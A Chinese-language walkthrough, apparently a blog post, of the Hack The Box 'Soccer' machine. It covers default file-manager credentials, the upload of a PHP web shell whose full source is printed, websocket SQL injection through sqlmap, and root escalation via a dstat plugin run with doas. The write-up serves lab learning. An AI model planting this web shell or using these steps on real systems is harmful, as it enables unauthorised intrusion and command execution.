HTB-soccer

在这里插入图片描述

信息收集

在这里插入图片描述

  • 22 ssh
  • 80 http
  • 9091

对80进行检查。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
搜索得知存在默认登陆密码admin:admin@123 和 user:12345
在这里插入图片描述
右上角有一个upload,试试能不能本地上传。

能够获取上传的路径,但是此文件没有写入权限。
在这里插入图片描述
切换到tiny文件夹再次上传。

在这里插入图片描述
在/tiny/uploads能够上传。
在这里插入图片描述
在这里插入图片描述
上传脚本。

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述
获取shell。
在这里插入图片描述
在/etc/nginx/sites-enabled找到了一个域名。

在这里插入图片描述
进一步探索发现子域名。
在这里插入图片描述
来到新界面。
在这里插入图片描述
先注册一个账号看看。登陆后白嫖一张看球赛的票,并且还可以查询票是否存在。

在这里插入图片描述
奥,看起来有sql注入。

在这里插入图片描述

抓包发现websocket,并且能看到使用的是9091端口。

在这里插入图片描述
源代码里也有。

在这里插入图片描述
简单测试一下

在这里插入图片描述
通过搜索找到此界面。依照界面所述操作。
在这里插入图片描述

修改重要的数据运行,就能够完成sqlmap到websocket的转换。

在这里插入图片描述
运行后会出现一个地址,用sqlmap -u “http://localhost:8081/?id=1” --dbs使用所给的地址。

在这里插入图片描述
获得一个player的凭证。
在这里插入图片描述

立足

通过前面获得的player的凭证登录。
在这里插入图片描述

提权

仔细看了几遍linpeas.sh的扫描结果,排除了部分可能的切入点后发现了这两个程序。

在这里插入图片描述

在这里插入图片描述
dstat是一个信息收集统计工具。
在这里插入图片描述
重点是在使用手册上看到了dstat可以使用插件。
在这里插入图片描述

找到了插件所在位置,但是我们没有对这个插件存放的目录有写入权限。
在这里插入图片描述
通过–list查看插件信息。
在这里插入图片描述
那么问题来了我们没有扩展插件目录写入权限,但是拥有这个目录权限。
在这里插入图片描述

注意dstat插件命名格式是dstat_开头。
在这里插入图片描述
添加dstat_exploit.py,内容如下。
在这里插入图片描述
再次运行–list发现已经识别,动作要稍微快点,应该有个时间任务在某时重置/usr/local/share/dstat目录。
在这里插入图片描述
我们知道有doas命令,并且doas可以对dstat使用。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值